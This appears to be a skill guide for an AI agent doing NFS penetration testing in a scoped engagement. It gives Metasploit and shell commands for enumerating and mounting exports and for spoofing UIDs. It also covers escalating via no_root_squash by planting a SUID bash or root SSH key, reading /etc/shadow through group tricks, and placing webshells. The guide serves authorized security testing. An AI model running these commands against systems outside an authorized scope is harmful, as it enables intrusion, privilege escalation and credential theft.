nfs-pentest

name	nfs-pentest
description	Guides NFS network file system penetration testing. Use when port 2049 is discovered during scanning or when NFS is identified on a target.

NFS Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Linux targets: load linux-pentest.

Ports and detection

Port	Service
2049/tcp, 2049/udp	NFS (RPC #100003)
111/tcp, 111/udp	portmapper/rpcbind

RPC and export enumeration

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/nfs/nfsmount",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 2049, "PATH": "/"}
)

CLI fallback:

rpcinfo -p <target>
showmount -e <target>
nmap --script nfs-showmount,nfs-ls,nfs-statfs -p 2049 <target>
nmap -p111,2049 --script rpcinfo <target>

NFSv4 may not respond to showmount; try direct mount of /.

Workflow

Task Progress:
- [ ] rpcinfo and export enumeration
- [ ] Mount and permission testing
- [ ] UID/GID spoofing (nfsshell/fuse_nfs)
- [ ] no_root_squash testing
- [ ] NFSv4 Kerberos check
- [ ] Document findings

Export listing

MSF: No direct showmount module; use nfsmount or CLI.

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/nfs/nfsmount",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 2049, "PATH": "/export"}
)

CLI fallback:

showmount -e <target>
nmap --script nfs-showmount -p 2049 <target>
exportfs -v   # from compromised server

rpcinfo broader enum

MSF: No direct module; use CLI.

CLI fallback:

rpcinfo -p <target>
rpcinfo -p <target> | grep -E 'nfs|mount|nlock'
nmap -p111 --script rpcinfo <target>
# Enumerate all RPC services
for prog in $(rpcinfo -p <target> | awk '{print $1}' | sort -u); do
  rpcinfo -p <target> | grep "$prog"
done

Standard mount

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/nfs/nfsmount",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "PATH": "/export", "MOUNTPOINT": "/mnt/nfs"}
)

CLI fallback:

mkdir /mnt/nfs
mount -t nfs -o vers=3,nolock <target>:/export /mnt/nfs
mount -t nfs -o vers=2,nolock <target>:/backup /mnt/nfs
nfs-ls <target>:/export

nfsshell / fuse_nfs UID spoofing

MSF: No direct module; use CLI.

CLI fallback:

# nfsshell - interactive NFS client with arbitrary UID/GID
nfsshell <target>
# nfs> host <target>
# nfs> uid 1001
# nfs> gid 1001
# nfs> cd /export
# nfs> ls
# nfs> get sensitive_file

# fuse_nfs with uid/gid override
mkdir /mnt/nfs_spoof
fuse_nfs -o uid=1001,gid=1001,allow_other <target>:/export /mnt/nfs_spoof
ls /mnt/nfs_spoof/restricted

Manual UID match:

useradd -u 1001 tempuser
su tempuser
ls /mnt/nfs/restricted

no_root_squash privilege escalation

MSF: No direct module; use CLI.

CLI fallback:

# Check export options on server: rw,no_root_squash
showmount -e <target>
mount -t nfs <target>:/export /mnt/nfs
cp /bin/bash /mnt/nfs/tmp/bash; chmod +s /mnt/nfs/tmp/bash
# Or write SSH key
mkdir -p /mnt/nfs/root/.ssh
echo "ssh-rsa AAAA..." > /mnt/nfs/root/.ssh/authorized_keys
chmod 600 /mnt/nfs/root/.ssh/authorized_keys

Squash modes

Mode	Behavior
root_squash (default)	UID 0 mapped to nobody
no_root_squash	Root on client = root on export
all_squash	All users mapped to nobody
no_all_squash	Client UIDs trusted as-is

NFSv4 Kerberos (sec=krb5)

MSF: No direct module; use CLI.

CLI fallback:

# Requires valid Kerberos ticket and krb5 export on server
kinit <user>@<REALM>
mount -t nfs4 -o sec=krb5,vers=4 <target>:/ /mnt/nfs
showmount -e <target>   # may not work for NFSv4
# Check /etc/exports on server: sec=krb5:krb5i:krb5p
grep -E 'krb5|sec=' /etc/exports
nfsstat -m

Export escape (subtree_check disabled)

MSF: No direct module; use CLI.

CLI fallback:

# Export /srv/ but read/write sibling paths on same FS
cd /mnt/nfs/../../var/www/
cat /mnt/nfs/../../../etc/shadow   # via group membership trick
groupadd -g 42 shadow
useradd -u 1000 -G 42 attacker
cat /mnt/nfs/etc/shadow
nfs_analyze --dir /mnt/nfs

Read /etc/shadow via group membership

MSF: No direct module; use CLI.

CLI fallback:

groupadd -g 42 shadow
useradd -u 1000 -G 42 attacker
su attacker
cat /mnt/nfs/etc/shadow

Post-access

• Read application configs, SSH keys, backups from mounted shares
• Write webshell if export maps to web root
• SUID binary placement for privesc on next user login
• Load linux-pentest for local privesc after NFS-based access

Related skills

• linux-pentest - post-mount privesc and persistence
• ssh-pentest - when NFS reveals SSH keys or authorized_keys paths
• smb-pentest - Samba/NFS overlap misconfigs